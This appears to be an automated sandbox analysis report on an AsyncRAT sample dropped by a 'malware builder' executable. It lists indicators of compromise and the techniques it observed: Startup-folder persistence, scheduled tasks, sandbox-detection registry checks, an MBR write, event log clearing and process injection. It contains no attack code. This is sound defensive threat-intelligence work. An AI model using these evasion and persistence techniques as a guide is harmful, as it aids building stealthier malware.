asyncrat | c981ebcf0c0cf857162ae35b9385c22d3198c2ec9ea00e37fcfe74a79eb3510e

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	H-MalwareBuilderV5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	Stub.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-MalwareBuilderV5.exe

Executes dropped EXE 2 IoCs

pid	Process
1164	Stub.exe
3560	H-Malware Builder V5.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 16 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1164 set thread context of 1076	1164	Stub.exe	87

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02dqobxkqixeztaf\Reason = "2147750679"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000d8c5ae66c44e0548aebe78fbbf17ad2100000000020000000000106600000001000020000000122b0748f6df1ea0cc3a682e822cea51b5a91c10e829e0a944c5e69ce6bd5e23000000000e8000000002000020000000a96de7c0e911729e4d4532027e5f7e1f04f309b79d5cf8a23475a42e2f0ef493b00300009788caf36131d61be643387ec566c3356de0aa244ff44214c4990e211bb85e94feab989b864e3a5593c61905f00cf3950baa490a6acde0840ef461965bfe663a7932ddb47b105a4c3f6822f385d21714293e6fe9d0f17f953239a06a4fde6586f0d16e76fe62f35cb9cec7022191bc24b3365b599ad0702a3ac1162de85f30369bf6bbd8d3ce669550fd1087034df999a50ce02d08e041cda7ea8aff59a5c7cf69f98aecc1eefb217a5fb4e1458b132b9cc954781b6080c4ea6e185ab41c6a1e70ccb00a9e490342cd4298df94000fb0c461aaf6fe9b4f041d6fe41af7a839f78ea24b3246bcdc3718c9dda5212841987511f2fb6c851a4035e6f0df872b62e8eab27270ad861fb0150c3d874d1881200c858e1e2b1ad921545602f0db856f1a625a5afdd93e402e4acc2870e30c0d9652ff5e5f7cc2eb3f5e4a37b5f08894f21199026b48cdfed3ea76e4242ea5d7c9c5a083a9d9991cd89bfc7ce86053d008668ab643b081814988a6c86308a1734980cea25fafc0086552a8462144928e54555f01fb849a088bc5d6fe0ac225ce76f0b4f16457c917eb0963c1b93a60e9995ccc689171bcaef6429631fad23119d73bbd2a8ce87e8efc575fb383ddc52fa55b54193be1c07aa706970bdac900e1202966ded9710061c2fa5631afc07825d16c044d209227c46923e8fd2ab1691d8e19145a6e20bebab532a53ff08051e374530f6de94b6e601a324264aaa438a63f0e846dc00d88530778064b8544ef52643e7fb5739fc12dc186bd87adb6e96091d0854cad929faaa0271d8c73925fb66763e635cde1a0f3420d60ff63a92749d2049d4a67b4cc3de4ffb0e0cf2c7e4356036d6f8259c02316c1775385a68ebc014f0378b47adf63c640edae2ba4875bb25da1a12ca9dd4b6351e1291d2a244286deab57bc8e7f7b79c1c03970310ce017e8963e26b4573c55fe11b022a6b4656dd843fa9988776659b2d486d83b225d07811fece161cd5998de8cf64acb87d3e9d49a1a748e49ff3f38076ba242cfde953c453d28c620450a9aadf53c8421eb8559a85209106c7a863d31f216200948ff4e75c1f924696fdb873522c5c6cac4e2cf5750c9d784839c7a649fa738bdbed5cf4d47cbed8d88ac170f5b44ae391d50cd5bab514627ab8ed2b0425aedbc0fc944259697c3662e3b9f39ba2c953d283aa9cc4c7ac0fb297e3b45b90457538da778c79b6039aa74f511c89178ab66ad56eea9a3a9e176e22f2dab7622c288f473b0b6993ea501c5bc8b6078dddafbc1695605ee82c4a536d16c1210f08d40957e2744f2d98871e7e82a919416f3a4b1af40000000783414a7dd050a1857a18f506da2215f23a71f1f9acc4eb58cbf6803b2acfb43289e684a58d834dfe9b75a584f3f7619b315539783f98c1a6594e6f7e0bf3588	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1733219775"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00F4EE93255"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 03 Dec 2024 09:56:15 GMT"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4212	SCHTASKS.exe
628	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3396	powershell.exe
3396	powershell.exe
1164	Stub.exe
1076	dllhost.exe
1076	dllhost.exe
2320	powershell.exe
2320	powershell.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
2320	powershell.exe
1076	dllhost.exe
1076	dllhost.exe
2320	powershell.exe
1076	dllhost.exe
1076	dllhost.exe
5260	powershell.exe
1076	dllhost.exe
1076	dllhost.exe
5260	powershell.exe
1076	dllhost.exe
1076	dllhost.exe
2320	powershell.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
5260	powershell.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
5260	powershell.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe
1076	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3396	powershell.exe
Token: SeDebugPrivilege	1164	Stub.exe
Token: SeDebugPrivilege	1164	Stub.exe
Token: SeDebugPrivilege	1076	dllhost.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	5260	powershell.exe
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	5804	svchost.exe
Token: SeCreatePagefilePrivilege	5804	svchost.exe
Token: SeShutdownPrivilege	5804	svchost.exe
Token: SeCreatePagefilePrivilege	5804	svchost.exe
Token: SeShutdownPrivilege	5804	svchost.exe
Token: SeCreatePagefilePrivilege	5804	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2216	svchost.exe
Token: SeIncreaseQuotaPrivilege	2216	svchost.exe
Token: SeSecurityPrivilege	2216	svchost.exe
Token: SeTakeOwnershipPrivilege	2216	svchost.exe
Token: SeLoadDriverPrivilege	2216	svchost.exe
Token: SeBackupPrivilege	2216	svchost.exe
Token: SeRestorePrivilege	2216	svchost.exe
Token: SeShutdownPrivilege	2216	svchost.exe
Token: SeSystemEnvironmentPrivilege	2216	svchost.exe
Token: SeManageVolumePrivilege	2216	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2216	svchost.exe
Token: SeIncreaseQuotaPrivilege	2216	svchost.exe
Token: SeSecurityPrivilege	2216	svchost.exe
Token: SeTakeOwnershipPrivilege	2216	svchost.exe
Token: SeLoadDriverPrivilege	2216	svchost.exe
Token: SeSystemtimePrivilege	2216	svchost.exe
Token: SeBackupPrivilege	2216	svchost.exe
Token: SeRestorePrivilege	2216	svchost.exe
Token: SeShutdownPrivilege	2216	svchost.exe
Token: SeSystemEnvironmentPrivilege	2216	svchost.exe
Token: SeUndockPrivilege	2216	svchost.exe
Token: SeManageVolumePrivilege	2216	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2216	svchost.exe
Token: SeIncreaseQuotaPrivilege	2216	svchost.exe
Token: SeSecurityPrivilege	2216	svchost.exe
Token: SeTakeOwnershipPrivilege	2216	svchost.exe
Token: SeLoadDriverPrivilege	2216	svchost.exe
Token: SeSystemtimePrivilege	2216	svchost.exe
Token: SeBackupPrivilege	2216	svchost.exe
Token: SeRestorePrivilege	2216	svchost.exe
Token: SeShutdownPrivilege	2216	svchost.exe
Token: SeSystemEnvironmentPrivilege	2216	svchost.exe
Token: SeUndockPrivilege	2216	svchost.exe
Token: SeManageVolumePrivilege	2216	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2216	svchost.exe
Token: SeIncreaseQuotaPrivilege	2216	svchost.exe
Token: SeSecurityPrivilege	2216	svchost.exe
Token: SeTakeOwnershipPrivilege	2216	svchost.exe
Token: SeLoadDriverPrivilege	2216	svchost.exe
Token: SeSystemtimePrivilege	2216	svchost.exe
Token: SeBackupPrivilege	2216	svchost.exe
Token: SeRestorePrivilege	2216	svchost.exe
Token: SeShutdownPrivilege	2216	svchost.exe
Token: SeSystemEnvironmentPrivilege	2216	svchost.exe
Token: SeUndockPrivilege	2216	svchost.exe
Token: SeManageVolumePrivilege	2216	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2216	svchost.exe
Token: SeIncreaseQuotaPrivilege	2216	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4388 wrote to memory of 3396	4388	H-MalwareBuilderV5.exe	83
PID 4388 wrote to memory of 3396	4388	H-MalwareBuilderV5.exe	83
PID 4388 wrote to memory of 1164	4388	H-MalwareBuilderV5.exe	85
PID 4388 wrote to memory of 1164	4388	H-MalwareBuilderV5.exe	85
PID 4388 wrote to memory of 3560	4388	H-MalwareBuilderV5.exe	86
PID 4388 wrote to memory of 3560	4388	H-MalwareBuilderV5.exe	86
PID 1164 wrote to memory of 1076	1164	Stub.exe	87
PID 1164 wrote to memory of 1076	1164	Stub.exe	87
PID 1164 wrote to memory of 1076	1164	Stub.exe	87
PID 1164 wrote to memory of 1076	1164	Stub.exe	87
PID 1164 wrote to memory of 1076	1164	Stub.exe	87
PID 1164 wrote to memory of 1076	1164	Stub.exe	87
PID 1164 wrote to memory of 1076	1164	Stub.exe	87
PID 1164 wrote to memory of 1076	1164	Stub.exe	87
PID 1164 wrote to memory of 1076	1164	Stub.exe	87
PID 1164 wrote to memory of 1076	1164	Stub.exe	87
PID 1164 wrote to memory of 1076	1164	Stub.exe	87
PID 1164 wrote to memory of 2348	1164	Stub.exe	88
PID 1164 wrote to memory of 2348	1164	Stub.exe	88
PID 1164 wrote to memory of 628	1164	Stub.exe	90
